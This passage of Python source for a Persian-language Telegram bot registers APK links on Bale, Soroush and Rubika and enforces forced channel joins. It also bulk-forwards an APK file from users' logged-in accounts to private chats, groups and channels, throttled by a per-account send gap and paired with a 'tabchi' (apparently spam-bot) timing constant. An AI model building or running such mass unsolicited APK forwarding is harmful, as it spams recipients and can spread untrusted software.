                                     reply_markup=admin_force_menu(lang))
            except Exception as exc:
                log.error(f"TRX01 force join: {exc}")
                state.pop(uid)
                return await bot.send(chat_id, "❌ خطا در ثبت کانال.",
                                     reply_markup=admin_force_menu(lang))

    return await _TRX01_OLD_ON_MSG_FINAL(msg)


# ---------------- PATCH 3: generic admin state escape protection ----------------
async def _trx01_clear_on_admin_error(uid, chat_id, text, kb=None):
    try:
        state.pop(uid)
        return await bot.send(chat_id, text, reply_markup=kb)
    except Exception:
        return None

TRX01_BUILD = "2026-09-23-request-v1-hotfix"


# ================================================================
# TRX660 SURGICAL FIX PATCH — requested flows only
# Time Pad + AI APK source link + Forced Join.
# Existing code above remains intact and active.
# ================================================================

# 1) State timeout: keep only the requested APK wizard alive for 30 minutes.
#    All other states retain the original 15-minute timeout.
_TRX660_APK_STATES = {"trx01_apk_setup_link", "trx01_apk_send_link"}
_TRX660_STATE_SET_BASE = StateStore.set
_TRX660_STATE_GET_BASE = StateStore.get


def _trx660_state_set(self, uid, state_name, **kw):
    self._last_expired = getattr(self, "_last_expired", {})
    self._last_expired.pop(uid, None)
    return _TRX660_STATE_SET_BASE(self, uid, state_name, **kw)


def _trx660_state_get(self, uid):
    self._last_expired = getattr(self, "_last_expired", {})
    d = self._d.get(uid)
    if not d:
        return None
    timeout = 1800 if str(d.get("state")) in _TRX660_APK_STATES else 900
    if time.time() - d["at"] > timeout:
        self._d.pop(uid, None)
        self._last_expired[uid] = dict(d)
        return None
    return d


def _trx660_consume_expired(self, uid):
    return getattr(self, "_last_expired", {}).pop(uid, None)

StateStore.set = _trx660_state_set
StateStore.get = _trx660_state_get
StateStore.consume_expired = _trx660_consume_expired

# 2) Subscription gate allowlist requested for these callback/state paths.
_TRX_FREE_PREFIXES = (
    "sub", "tut", "set",
    "trx01.apk_", "trx01.task_", "trx01_apk_", "trx01_task_",
    "apk.setup", "ai.apk_send",
    "time_pad:", "trx77.min.",
)


def _trx_needs_subscription(data: str) -> bool:
    data = str(data or "")
    if data == "admin" or data.startswith("adm."):
        return False
    if data in _TRX_FREE_CALLBACKS:
        return False
    if data.startswith(_TRX_FREE_PREFIXES):
        return False
    return True

# 3) Time Pad — one official state name, robust confirmation, and callback answer.
async def _trx660_dispatch_time_pad(cb_id, uid, lang, chat_id, msg_id, data):
    try:
        # Always clear Telegram's callback spinner before any return path.
        try:
            await bot.answer_cb(cb_id, "")
        except Exception:
            pass

        s = state.get(uid)
        if s and s.get("state") == "trx77_task_minutes":
            state.set(uid, "trx01_task_minutes",
                      **{k: v for k, v in s.items() if k != "state"})
            s = state.get(uid)

        if not s or s.get("state") != "trx01_task_minutes":
            await _edit(chat_id, msg_id, "❌ این پنل زمان منقضی شده است.",
                        ai_advanced_menu(lang, uid))
            state.pop(uid)
            return True

        raw_data = str(data or "")
        if raw_data.startswith("time_pad:"):
            action = raw_data.split(":", 1)[1]
        elif raw_data.startswith("trx77.min.d:"):
            action = raw_data.split(":", 2)[2]
        elif raw_data in {"trx77.min.ok", "trx77.min.back", "trx77.min.clear"}:
            action = {
                "trx77.min.ok": "confirm",
                "trx77.min.back": "backspace",
                "trx77.min.clear": "clear",
            }[raw_data]
        else:
            return True

        current = _trx77_norm_digits(s.get("minutes", ""))

        if action == "backspace":
            value = current[:-1]
            state.set(uid, "trx01_task_minutes",
                      **{k: v for k, v in s.items() if k not in {"state", "at", "minutes"}},
                      minutes=value)
            return await _edit(chat_id, msg_id,
                               _trx01_minutes_text(lang, value),
                               _trx01_minutes_kb(lang, value))

        if action == "clear":
            value = ""
            state.set(uid, "trx01_task_minutes",
                      **{k: v for k, v in s.items() if k not in {"state", "at", "minutes"}},
                      minutes=value)
            return await _edit(chat_id, msg_id,
                               _trx01_minutes_text(lang, value),
                               _trx01_minutes_kb(lang, value))

        if action.isdigit() and len(action) == 1:
            value = (current + action)[-3:]
            state.set(uid, "trx01_task_minutes",
                      **{k: v for k, v in s.items() if k not in {"state", "at", "minutes"}},
                      minutes=value)
            return await _edit(chat_id, msg_id,
                               _trx01_minutes_text(lang, value),
                               _trx01_minutes_kb(lang, value))

        if action == "confirm":
            current = _trx77_norm_digits(current)
            log.info(f"time_pad:confirm uid={uid} current={current!r} state={s.get('state')!r}")
            try:
                valid, minutes, error = _trx01_minutes_validation(current)
                if not valid:
                    return await _edit(
                        chat_id, msg_id,
                        _trx01_minutes_text(lang, current, error),
                        _trx01_minutes_kb(lang, current),
                    )

                next_state = dict(s)
                next_state["minutes"] = str(minutes)
                state.set(
                    uid,
                    "trx01_task_minutes",
                    **{k: v for k, v in next_state.items() if k not in {"state", "at"}},
                )

                # APK is required before building the schedule preview.
                aid = int(s["account_id"])
                apk = _trx115_apk_for_account(uid, aid)
                if not apk:
                    state.pop(uid)
                    return await _edit(
                        chat_id, msg_id,
                        "❌ برای این اکانت هیچ APK منبعی ثبت نشده.\n"
                        "اول از بخش APK، منبع رو ثبت کن و دوباره امتحان کن.",
                        _trx115_apk_panel_kb(uid, lang),
                    )

                return await _trx77_finish_task_minutes(
                    cb_id, uid, lang, chat_id, msg_id, int(minutes), next_state
                )
            except Exception as exc:
                log.error(f"time_pad:confirm failed: {exc}\n{traceback.format_exc(limit=40)}")
                return await _edit(
                    chat_id, msg_id,
                    f"❌ ثبت زمان با خطا مواجه شد:\n`{str(exc)[:200]}`\n\nدوباره تلاش کن.",
                    _trx01_minutes_kb(lang, current),
                )

        return True
    except Exception as exc:
        log.error(f"time_pad handler failed: {exc}\n{traceback.format_exc(limit=40)}")
        try:
            state.pop(uid)
            await _edit(chat_id, msg_id,
                        f"❌ ثبت زمان با خطا مواجه شد:\n`{str(exc)[:200]}`\n\nدوباره تلاش کن.",
                        _trx01_minutes_kb(lang, ""))
        except Exception:
            pass
        return True


_TRX660_DISPATCH_BASE = dispatch_cb


async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if data_s.startswith("time_pad:") or data_s.startswith("trx77.min."):
        return await _trx660_dispatch_time_pad(cb_id, uid, lang, chat_id, msg_id, data_s)
    return await _TRX660_DISPATCH_BASE(cb_id, uid, lang, u, chat_id, msg_id, data)

# 4) AI APK source parser: platform-specific URL patterns.
TRX01_PLATFORM_PATTERNS = {
    "bale": {
        "domains": ("ble.ir", "bale.ai"),
        "path_regexes": [
            r"^/(?:channel|c|channels|groups)/[^/]+/(\d+)/?$",
            r"^/[^/]+/(\d+)/?$",
        ],
    },
    "soroush": {
        "domains": ("splus.ir", "splus.me", "splusplus.ir"),
        "path_regexes": [
            r"^/(?:channel|c|channels|groups|g)/[^/]+/(\d+)/?$",
            r"^/[^/]+/(\d+)/?$",
        ],
    },
    "rubika": {
        "domains": ("rubika.ir",),
        "path_regexes": [
            r"^/c/(\d+)/?$",
            r"^/(?:channel|channels|groups|g)/[^/]+/(\d+)/?$",
            r"^/[^/]+/(\d+)/?$",
        ],
    },
}


def _trx01_host_ok(platform, hostname):
    host = str(hostname or "").lower().rstrip(".")
    cfg = TRX01_PLATFORM_PATTERNS.get(str(platform or "").lower())
    if not cfg:
        return False
    return any(host == d or host.endswith("." + d) for d in cfg["domains"])


def _trx01_parse_link_for_platform(platform, raw):
    """برمی‌گردونه: (ok, message_id, source_hint, error)"""
    from urllib.parse import urlparse
    platform = str(platform or "").lower()
    value = str(raw or "").strip().strip("<>[]() ")
    cfg = TRX01_PLATFORM_PATTERNS.get(platform)
    if not cfg:
        return False, None, None, "پلتفرم نامشخص"

    parsed = urlparse(value)
    if parsed.scheme not in {"http", "https"}:
        return False, None, None, f"این لینک مال {_trx01_service_label(platform)} نیست؛ باید با https شروع بشه"

    host = (parsed.hostname or "").lower().rstrip(".")
    if not any(host == d or host.endswith("." + d) for d in cfg["domains"]):
        return False, None, None, (
            f"این لینک مال {_trx01_service_label(platform)} نیست. "
            f"لطفاً لینک درست {_trx01_service_label(platform)} رو بفرست."
        )

    path = parsed.path or ""
    for rx in cfg["path_regexes"]:
        m = re.match(rx, path)
        if m:
            mid = int(m.group(1))
            parts = [p for p in path.split("/") if p]
            hint = parts[-2] if len(parts) >= 2 else ""
            return True, mid, hint, ""

    return False, None, None, (
        f"الگوی مسیر لینک برای {_trx01_service_label(platform)} شناخته‌شده نیست. "
        "لینک مستقیم خود پیام APK رو از داخل چنل کپی کن و بفرست."
    )


def _trx01_validate_apk_link(platform, raw):
    ok, message_id, source_hint, error = _trx01_parse_link_for_platform(platform, raw)
    return ok, error, message_id, source_hint


async def _trx01_read_apk_source(uid, aid, platform, raw_link):
    try:
        ok, reason, message_id, source_hint = _trx01_validate_apk_link(platform, raw_link)
        if not ok:
            return False, reason, None

        try:
            client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
        except Exception as exc:
            log.error(f"TRX01 client restore failed: {exc}")
            return False, "کلاینت این اکانت برقرار نشد؛ دوباره اکانت رو وصل کن.", None

        if not client:
            return False, "اکانت انتخاب‌شده در دسترس نیست؛ اول اکانت رو دوباره لاگین کن.", None

        try:
            msg_obj, peer = await asyncio.wait_for(
                _trx115_get_message_final(client, source_hint, message_id),
                timeout=30,
            )
        except asyncio.TimeoutError:
            return False, "خوندن پیام منبع timeout خورد؛ دوباره امتحان کن.", None
        except Exception as exc:
            log.error(f"TRX01 read source failed: {exc}\n{traceback.format_exc(limit=40)}")
            return False, f"خوندن پیام منبع با خطا مواجه شد:\n`{str(exc)[:200]}`", None

        if msg_obj is None:
            return False, (
                "پیام منبع پیدا نشد. مطمئن شو:\n"
                "• اکانت انتخاب‌شده عضو همون چنل هست\n"
                "• لینک مال خود پیام APK هست، نه لینک دعوت چنل\n"
                "• پیام حذف نشده باشه"
            ), None

        meta = _trx110_apk_meta(msg_obj)
        if not meta or not str(meta.get("filename", "")).lower().endswith(".apk"):
            return False, "این لینک به یه پیام APK اشاره نمی‌کنه. لینک همون پیامی که فایل `.apk` توش آپلود شده رو بفرست.", None

        return True, "", {
            "message_id": str(message_id),
            "source_peer": str(peer or source_hint or ""),
            "filename": str(meta.get("filename") or "app.apk")[:255],
            "size": int(meta.get("size") or 0),
            "link": str(raw_link).strip(),
        }
    except Exception as exc:
        log.error(f"TRX01 read_apk_source failed: {exc}\n{traceback.format_exc(limit=40)}")
        return False, f"خطای غیرمنتظره در خواندن APK:\n`{str(exc)[:200]}`", None


async def _trx01_save_apk_link(uid, aid, platform, raw_link):
    _trx01_ensure_schema()
    try:
        ok, info, meta = await _trx01_read_apk_source(uid, aid, platform, raw_link)
        if not ok:
            return False, info, None

        target_account = str(int(aid))
        old = db.fetchone(
            "SELECT * FROM trx01_apk_links WHERE platform=? AND target_account=?",
            (platform, target_account),
        )
        old_apk_id = int(old["apk_id"] or 0) if old else 0
        if old_apk_id:
            try:
                db.execute("UPDATE apk_files SET enabled=0 WHERE id=? AND user_id=?", (old_apk_id, uid))
            except Exception:
                pass

        # Existing storage representation is intentionally preserved.
        cur = db.execute(
            "INSERT INTO apk_files(user_id,file_id,message_id,file_name,file_size,enabled,added_at) VALUES(?,?,?,?,?,1,?)",
            (uid, "", int(meta["message_id"]), meta["filename"], int(meta["size"]), now()),
        )
        apk_id = int(cur.lastrowid)
        db.execute(
            "INSERT OR REPLACE INTO apk_sources(apk_id,account_id,platform,source_peer,source_message_id,created_at) VALUES(?,?,?,?,?,?)",
            (apk_id, int(aid), platform, meta["source_peer"], meta["message_id"], now()),
        )
        cur2 = db.execute(
            "INSERT OR REPLACE INTO trx01_apk_links(platform,target_account,apk_link,source_peer,source_message_id,file_name,file_size,set_at,apk_id) VALUES(?,?,?,?,?,?,?,?,?)",
            (platform, target_account, meta["link"], meta["source_peer"], meta["message_id"], meta["filename"], int(meta["size"]), now(), apk_id),
        )
        link_id = int(cur2.lastrowid or 0)
        db.execute(
            "INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
            (f"default_apk:{uid}", apk_id),
        )
        log_event(uid, "TRX01_APK_LINK_SAVED", f"{platform}:{aid}:{meta['link'][:300]}")
        log_account_activity(aid, uid, "apk_link_saved", str(meta["message_id"]), 1)
        return True, f"{meta['filename']}", {"id": link_id, **meta, "apk_id": apk_id}
    except Exception as exc:
        log.error(f"TRX01 save_apk_link catastrophic: {exc}\n{traceback.format_exc(limit=40)}")
        return False, f"خطای غیرمنتظره:\n`{str(exc)[:200]}`", None


# 5) Final message router for the requested APK wizard and force-join wizard.
_TRX660_ON_MSG_BASE = on_msg


async def on_msg(msg):
    uid = msg.get("from", {}).get("id")
    chat_id = msg.get("chat", {}).get("id")
    txt = (msg.get("text") or "").strip()

    if uid:
        try:
            s = state.get(uid)
            expired = state.consume_expired(uid) if not s else None
            if expired and str(expired.get("state")) in _TRX660_APK_STATES:
                lang = get_lang(uid)
                return await bot.send(
                    chat_id,
                    "❌ این درخواست منقضی شده. از منوی هوش مصنوعی → ارسال APK دوباره شروع کن.",
                    reply_markup=ai_advanced_menu(lang, uid),
                )

            # ---------------- AI APK link flow ----------------
            if s and s.get("state") in {"trx01_apk_setup_link", "trx01_apk_send_link"}:
                lang = get_lang(uid)
                try:
                    platform = str(s.get("platform") or "").lower()
                    aid = int(s.get("account_id"))
                    expected_key = f"{uid}:{platform}:{aid}"
                    if s.get("flow_key") != expected_key:
                        state.pop(uid)
                        return await bot.send(
                            chat_id,
                            "❌ این درخواست منقضی شده؛ از اول از منوی «ارسال APK» شروع کن.",
                            reply_markup=ai_advanced_menu(lang, uid),
                        )

                    if not txt:
                        return await bot.send(chat_id, "لینک مستقیم پیام APK رو بفرست.")

                    processing = await bot.send(chat_id, "⏳ دارم لینک رو بررسی می‌کنم...")
                    try:
                        ok, info, row = await _trx01_save_apk_link(uid, aid, platform, txt)
                    except Exception as exc:
                        log.error(f"TRX01 save_apk_link outer: {exc}\n{traceback.format_exc(limit=40)}")
                        ok, info, row = False, f"خطای داخلی:\n`{str(exc)[:200]}`", None

                    try:
                        processing_id = processing.get("result", {}).get("message_id") if isinstance(processing, dict) else None
                        if processing_id:
                            await bot.call("deleteMessage", chat_id=chat_id, message_id=processing_id)
                    except Exception:
                        pass

                    if not ok:
                        return await bot.send(
                            chat_id,
                            f"❌ {info}",
                            reply_markup=IKB([
                                [("🔁 دوباره تلاش کن", "apk.setup", "primary")],
                                [("❌ لغو", "cancel", "danger")],
                            ]),
                        )

                    log_event(uid, "TRX01_APK_LINK_RECEIVED", f"{platform}:{aid}:{txt[:300]}")
                    if s.get("state") == "trx01_apk_send_link":
                        try:
                            report = await _trx01_bulk_forward_apk(uid, platform, aid, row)
                        except Exception as exc:
                            log.error(f"TRX01 bulk APK forward failed: {exc}\n{traceback.format_exc(limit=40)}")
                            state.pop(uid)
                            return await bot.send(
                                chat_id,
                                f"⚠️ لینک APK با موفقیت ثبت شد، اما فوروارد خودکار با خطا مواجه شد:\n`{str(exc)[:200]}`",
                                reply_markup=ai_advanced_menu(lang, uid),
                            )
                        state.pop(uid)
                        msg_text = (
                            f"✅ **فایل APK برای {_trx01_service_label(platform)} / #{aid} فوروارد شد:**\n\n"
                            f"• پیوی: **{report['pv_sent']}**\n"
                            f"• گروه/چنل: **{report['group_channel_sent']}**\n"
                            f"• قبلاً دریافت کرده بودن: **{report['already']}**\n"
                            f"• ناموفق: **{report['failed']}**"
                        )
                        return await bot.send(chat_id, msg_text, reply_markup=ai_advanced_menu(lang, uid))

                    state.pop(uid)
                    count = db.fetchone(
                        "SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1", (uid,)
                    )["c"]
                    return await bot.send(
                        chat_id,
                        f"✅ لینک APK برای **{_trx01_service_label(platform)}** / `#{aid}` ثبت شد.\n\n"
                        f"📦 فایل: `{info}`\n"
                        f"🔢 APKهای فعال: **{count}**",
                        reply_markup=_trx115_apk_panel_kb(uid, lang),
                    )
                except Exception as exc:
                    log.error(f"TRX01 APK on_msg flow failed: {exc}\n{traceback.format_exc(limit=40)}")
                    return await bot.send(
                        chat_id,
                        f"❌ خطای داخلی در پردازش لینک APK:\n`{str(exc)[:200]}`",
                        reply_markup=ai_advanced_menu(lang, uid),
                    )

            # ---------------- Forced-join channel flow ----------------
            if s and s.get("state") == State.ADD_FORCE_CHANNEL and is_admin(uid):
                lang = get_lang(uid)
                try:
                    kind, value, invite_hint = _parse_force_channel_input(txt)
                    if not kind:
                        return await bot.send(
                            chat_id,
                            "❌ فرمت ورودی نامعتبر.\n\n"
                            "فرمت‌های مجاز:\n"
                            "• `@username`\n"
                            "• `-1001234567890`\n"
                            "• `https://t.me/username`\n"
                            "• `https://t.me/username/123`\n"
                            "• `https://t.me/+AbCdEf` (لینک دعوت خصوصی)",
                            reply_markup=IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]),
                        )

                    if kind == "invite_private":
                        db.execute(
                            "INSERT OR IGNORE INTO force_join(channel_id,channel_title,invite_link,enabled,added_at) VALUES(?,?,?,?,?)",
                            (f"invite:{invite_hint[:60]}", "کانال خصوصی", invite_hint, 0, now()),
                        )
                        state.pop(uid)
                        return await bot.send(
                            chat_id,
                            "⚠️ **لینک دعوت خصوصی ذخیره شد، اما غیرفعال موند.**\n\n"
                            "علت: با لینک دعوت خصوصی نمی‌شه عضویت کاربر رو خودکار چک کرد.\n"
                            "برای چک خودکار، `@username` یا `chat_id` کانال رو بفرست.",
                            reply_markup=admin_force_menu(lang),
                        )

                    lookup = f"@{value}" if kind == "username" else value
                    r = await bot.get_chat(lookup)
                    if not r.get("ok"):
                        desc = r.get("description", "خطای نامشخص")
                        state.pop(uid)
                        return await bot.send(
                            chat_id,
                            f"❌ ربات نتونست این کانال رو ببینه.\n\n"
                            f"🔍 ورودی: `{lookup}`\n"
                            f"📛 خطا: `{desc[:200]}`\n\n"
                            "**راهنمای رفع:**\n"
                            "1️⃣ ربات رو توی اون کانال **ادمین** کن (با دسترسی «حذف/محدود کردن اعضا»)\n"
                            "2️⃣ اگه کانال عمومیه، از `@username` استفاده کن\n"
                            "3️⃣ اگه خصوصیه، لینک دعوت رو جدا بفرست و صبر کن کاربر تأیید کنه\n"
                            "4️⃣ بعد از ادمین شدن دوباره تلاش کن",
                            reply_markup=IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]),
                        )

                    result = r.get("result") or {}
                    title = result.get("title") or value
                    real_chat_id = str(result.get("id") or value)
                    invite = result.get("invite_link", "") or ""

                    if result.get("type") == "channel" and not invite:
                        try:
                            exp = await bot.call("exportChatInviteLink", chat_id=real_chat_id)
                            if exp.get("ok"):
                                invite = exp["result"]
                        except Exception:
                            pass

                    me = await bot.call("getMe")
                    if me.get("ok"):
                        bot_id = me["result"]["id"]
                        member = await bot.call(
                            "getChatMember", chat_id=real_chat_id, user_id=bot_id
                        )
                        if member.get("ok"):
                            status = member["result"].get("status", "")
                            if status not in ("administrator", "creator"):
                                state.pop(uid)
                                return await bot.send(
                                    chat_id,
                                    f"⚠️ ربات توی **{title}** ادمین نیست.\n\n"
                                    "برای چک خودکار عضویت، ربات باید **ادمین** باشه.\n"
                                    "الان ربات رو ادمین کن و دوباره این کانال رو اضافه کن.",
                                    reply_markup=admin_force_menu(lang),
                                )

                    db.execute(
                        "INSERT OR REPLACE INTO force_join(channel_id,channel_title,invite_link,enabled,added_at) VALUES(?,?,?,?,?)",
                        (real_chat_id, title, invite, 1, now()),
                    )
                    state.pop(uid)
                    return await bot.send(
                        chat_id,
                        f"✅ **کانال با موفقیت اضافه شد**\n\n"
                        f"📢 عنوان: **{title}**\n"
                        f"🆔 chat_id: `{real_chat_id}`\n"
                        f"🔗 لینک: {invite or 'بدون لینک'}\n\n"
                        "از این به بعد کاربرا باید قبل از استفاده عضو این کانال بشن.",
                        reply_markup=admin_force_menu(lang),
                    )
                except Exception as exc:
                    log.error(f"TRX660 force join add failed: {exc}\n{traceback.format_exc(limit=40)}")
                    state.pop(uid)
                    return await bot.send(
                        chat_id,
                        f"❌ ثبت کانال با خطا مواجه شد:\n`{str(exc)[:200]}`",
                        reply_markup=admin_force_menu(lang),
                    )
        except Exception as exc:
            log.error(f"TRX660 on_msg pre-router failed: {exc}\n{traceback.format_exc(limit=40)}")

    return await _TRX660_ON_MSG_BASE(msg)


# Parser requested by the forced-join flow.
def _parse_force_channel_input(raw):
    """
    ورودی‌های قابل قبول:
    - @username
    - -1001234567890
    - https://t.me/username
    - https://t.me/username/123
    - https://t.me/+hash یا https://t.me/joinchat/hash
    برمی‌گردونه: (kind, value, invite_hint)
    """
    raw = str(raw or "").strip()
    if not raw:
        return None, None, None

    if raw.startswith("@") and len(raw) > 1:
        return "username", raw[1:].strip(), None

    if re.fullmatch(r"-?\d{5,20}", raw):
        return "chat_id", raw, None

    m = re.match(r"https?://t\.me/(.+)", raw, re.I)
    if m:
        rest = m.group(1).strip().strip("/")
        if rest.startswith("+") or rest.startswith("joinchat/"):
            return "invite_private", raw, raw
        parts = [p for p in rest.split("/") if p]
        if parts:
            return "username", parts[0], None

    return None, None, None


async def check_force_join(uid: int) -> Tuple[bool, Optional[dict]]:
    if is_admin(uid):
        return True, None
    channels = _get_force_channels()
    if not channels:
        return True, None

    missing_all = []
    for ch in channels:
        ch_id = ch["channel_id"]
        if str(ch_id).startswith("invite:"):
            continue
        try:
            r = await bot.get_chat_member(ch_id, uid)
        except Exception as e:
            log.warning(f"force_join check failed for {ch_id}: {e}")
            continue
        if not r.get("ok"):
            log.warning(f"get_chat_member not ok for {ch_id}: {r.get('description')}")
            continue
        status = r["result"].get("status", "")
        if status in ("left", "kicked"):
            missing_all.append(ch)

    if not missing_all:
        return True, None

    btns = []
    for ch in missing_all:
        if ch.get("invite_link"):
            btns.append([{"text": f"📢 {ch['channel_title']}", "url": ch["invite_link"]}])
    btns.append([{"text": "✅ عضو شدم", "callback_data": "check_join"}])
    return False, {"channels": missing_all, "btns": btns}


# Requested double-check after "عضو شدم" to absorb Telegram membership-update lag.
_TRX660_CHECK_JOIN_BASE = dispatch_cb


async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if data_s == "check_join":
        try:
            await bot.answer_cb(cb_id, "")
        except Exception:
            pass
        ok, info = await check_force_join(uid)
        if ok:
            await _edit(chat_id, msg_id, t(lang, "menu.title"), main_menu(lang, uid))
        else:
            await asyncio.sleep(2)
            ok2, info2 = await check_force_join(uid)
            if ok2:
                await _edit(chat_id, msg_id, t(lang, "menu.title"), main_menu(lang, uid))
            else:
                await _edit(
                    chat_id,
                    msg_id,
                    "📌 **هنوز عضو نشده‌اید!**\n\n"
                    "لطفاً ابتدا در کانال‌های زیر عضو شوید و بعد دکمه «عضو شدم» رو بزنید:",
                    {"inline_keyboard": info2["btns"]},
                )
        return
    return await _TRX660_CHECK_JOIN_BASE(cb_id, uid, lang, u, chat_id, msg_id, data)


# ═══════════════════════════════════════════════════════════════════
# TRX660 SURGICAL REQUESTED-FEATURE PATCH
# Additive final layer. Existing unrelated code is intentionally kept.
# ═══════════════════════════════════════════════════════════════════

TRX660_ALLOWED_PLATFORMS = {"rubika", "soroush", "bale"}
TRX660_TABCHI_MIN_MINUTES = 4
TRX660_CHANNEL_MIN_MINUTES = 20
TRX660_MAX_TASK_MINUTES = 999
TRX660_APK_COOLDOWN_SECONDS = 90
TRX660_TASK_SCAN_SECONDS = 8
TRX660_WORKER_IDLE_SECONDS = 5
_TRX660_APK_COOLDOWN = {}
_TRX660_ACTIVE_TASKS = {}
active_tasks = _TRX660_ACTIVE_TASKS


# Compatibility shim for the existing final routers; adds no new state behavior beyond expiry cleanup.
if not hasattr(StateStore, "consume_expired"):
    def _trx660_consume_expired(self, uid):
        item = self._d.get(uid)
        if not item:
            return None
        if time.time() - item.get("at", 0) > 900:
            return self._d.pop(uid, None)
        return None
    StateStore.consume_expired = _trx660_consume_expired


_TRX660_SEND_LOCKS = {}
_TRX660_LAST_SEND = {}
TRX660_ACCOUNT_SEND_GAP_SECONDS = 10


async def _trx660_send_gap(uid, aid):
    key = (int(uid), int(aid))
    lock = _TRX660_SEND_LOCKS.setdefault(key, asyncio.Lock())
    async with lock:
        now_ts = time.time()
        last = float(_TRX660_LAST_SEND.get(key, 0) or 0)
        wait_for = TRX660_ACCOUNT_SEND_GAP_SECONDS - (now_ts - last)
        if wait_for > 0:
            await asyncio.sleep(min(wait_for, TRX660_ACCOUNT_SEND_GAP_SECONDS))
        _TRX660_LAST_SEND[key] = time.time()


def _trx660_force_join_migrate_conn(conn):
    """Idempotent, non-destructive force_join migration for legacy SQLite DBs."""
    conn.execute("""
        CREATE TABLE IF NOT EXISTS force_join (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            channel_id TEXT,
            channel_title TEXT,
            invite_link TEXT,
            enabled INTEGER DEFAULT 1,
            added_at TEXT
        )
    """)
    cols = {row[1] for row in conn.execute("PRAGMA table_info(force_join)").fetchall()}
    needed = {
        "channel_id": "TEXT",
        "channel_title": "TEXT",
        "invite_link": "TEXT",
        "enabled": "INTEGER DEFAULT 1",
        "added_at": "TEXT",
    }
    for col, definition in needed.items():
        if col not in cols:
            conn.execute(f"ALTER TABLE force_join ADD COLUMN {col} {definition}")

    # Backfill only rows whose new channel_id is empty, using common legacy names.
    cols = {row[1] for row in conn.execute("PRAGMA table_info(force_join)").fetchall()}
    candidates = [c for c in ("chat_id", "peer_id", "channel", "channel", "username", "channel_username") if c in cols]
    if candidates:
        expressions = [f"NULLIF(CAST({c} AS TEXT),'')" for c in candidates]
        source_expr = expressions[0] if len(expressions) == 1 else "COALESCE(" + ",".join(expressions) + ")"
        conn.execute(
            f"UPDATE force_join SET channel_id={source_expr} "
            "WHERE channel_id IS NULL OR TRIM(CAST(channel_id AS TEXT))=''"
        )

    conn.execute("CREATE INDEX IF NOT EXISTS idx_force_join_enabled_channel ON force_join(enabled, channel_id)")
    conn.commit()


def _trx660_db_table_exists(conn, table):
    row = conn.execute(
        "SELECT 1 FROM sqlite_master WHERE type='table' AND name=? LIMIT 1", (table,)
    ).fetchone()
    return bool(row)


def _trx660_normalize_platform(value):
    p = str(value or "").strip().lower()
    aliases = {
        "rubika": "rubika", "روبیکا": "rubika",
        "soroush": "soroush", "soroushplus": "soroush", "سروش": "soroush", "سروش پلاس": "soroush",
        "bale": "bale", "بله": "bale",
    }
    return aliases.get(p, p)


def _trx660_apk_config_migrate_conn(conn):
    """Create the independent per-platform APK configuration store and backfill safely."""
    conn.execute("""
        CREATE TABLE IF NOT EXISTS trx660_apk_config (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER NOT NULL,
            platform TEXT NOT NULL,
            source_account_id INTEGER DEFAULT 0,
            apk_id INTEGER DEFAULT 0,
            source_peer TEXT DEFAULT '',
            source_message_id TEXT DEFAULT '',
            file_name TEXT DEFAULT '',
            file_size INTEGER DEFAULT 0,
            download_link TEXT DEFAULT '',
            description TEXT DEFAULT '',
            install_guide TEXT DEFAULT '',
            enabled INTEGER DEFAULT 1,
            created_at TEXT,
            updated_at TEXT,
            UNIQUE(user_id, platform)
        )
    """)
    conn.execute("CREATE INDEX IF NOT EXISTS idx_trx660_apk_config_user_platform ON trx660_apk_config(user_id, platform)")

    # Legacy TRX01 source records -> new independent config rows.
    try:
        if _trx660_db_table_exists(conn, "trx01_apk_links") and _trx660_db_table_exists(conn, "accounts"):
            rows = conn.execute(
                """
                SELECT a.user_id, l.platform, l.target_account, l.apk_id,
                       l.source_peer, l.source_message_id, l.file_name, l.file_size, l.apk_link
                FROM trx01_apk_links l
                JOIN accounts a ON a.id=CAST(l.target_account AS INTEGER)
                WHERE l.platform IN ('rubika','soroush','bale')
                ORDER BY l.id ASC
                """
            ).fetchall()
            for r in rows:
                uid, platform = int(r[0]), _trx660_normalize_platform(r[1])
                if platform not in TRX660_ALLOWED_PLATFORMS:
                    continue
                stamp = datetime.utcnow().isoformat(timespec="seconds")
                conn.execute(
                    """
                    INSERT OR IGNORE INTO trx660_apk_config(
                        user_id,platform,source_account_id,apk_id,source_peer,source_message_id,
                        file_name,file_size,download_link,enabled,created_at,updated_at
                    ) VALUES(?,?,?,?,?,?,?,?,?,1,?,?)
                    """,
                    (uid, platform, int(r[2] or 0), int(r[3] or 0), str(r[4] or ""), str(r[5] or ""),
                     str(r[6] or ""), int(r[7] or 0), str(r[8] or ""), stamp, stamp),
                )
    except Exception as exc:
        log.warning(f"TRX660 APK config legacy-link migration skipped: {_mask(str(exc))}")

    # Raw apk_sources -> config, but never overwrite an existing per-platform choice.
    try:
        if _trx660_db_table_exists(conn, "apk_sources") and _trx660_db_table_exists(conn, "apk_files"):
            rows = conn.execute(
                """
                SELECT af.user_id, src.platform, src.account_id, af.id, src.source_peer,
                       src.source_message_id, af.file_name, af.file_size
                FROM apk_files af
                JOIN apk_sources src ON src.apk_id=af.id
                WHERE af.enabled=1 AND src.platform IN ('rubika','soroush','bale')
                ORDER BY af.id DESC
                """
            ).fetchall()
            for r in rows:
                uid, platform = int(r[0]), _trx660_normalize_platform(r[1])
                if platform not in TRX660_ALLOWED_PLATFORMS:
                    continue
                stamp = datetime.utcnow().isoformat(timespec="seconds")
                conn.execute(
                    """
                    INSERT OR IGNORE INTO trx660_apk_config(
                        user_id,platform,source_account_id,apk_id,source_peer,source_message_id,
                        file_name,file_size,enabled,created_at,updated_at
                    ) VALUES(?,?,?,?,?,?,?,?,1,?,?)
                    """,
                    (uid, platform, int(r[2] or 0), int(r[3] or 0), str(r[4] or ""), str(r[5] or ""),
                     str(r[6] or ""), int(r[7] or 0), stamp, stamp),
                )
    except Exception as exc:
        log.warning(f"TRX660 APK config source migration skipped: {_mask(str(exc))}")
    conn.commit()


def _trx660_requested_db_init(self, path):
    # Preserve the existing DB constructor, then add only requested migrations.
    _TRX660_OLD_DB_INIT(self, path)
    try:
        _trx660_force_join_migrate_conn(self.conn)
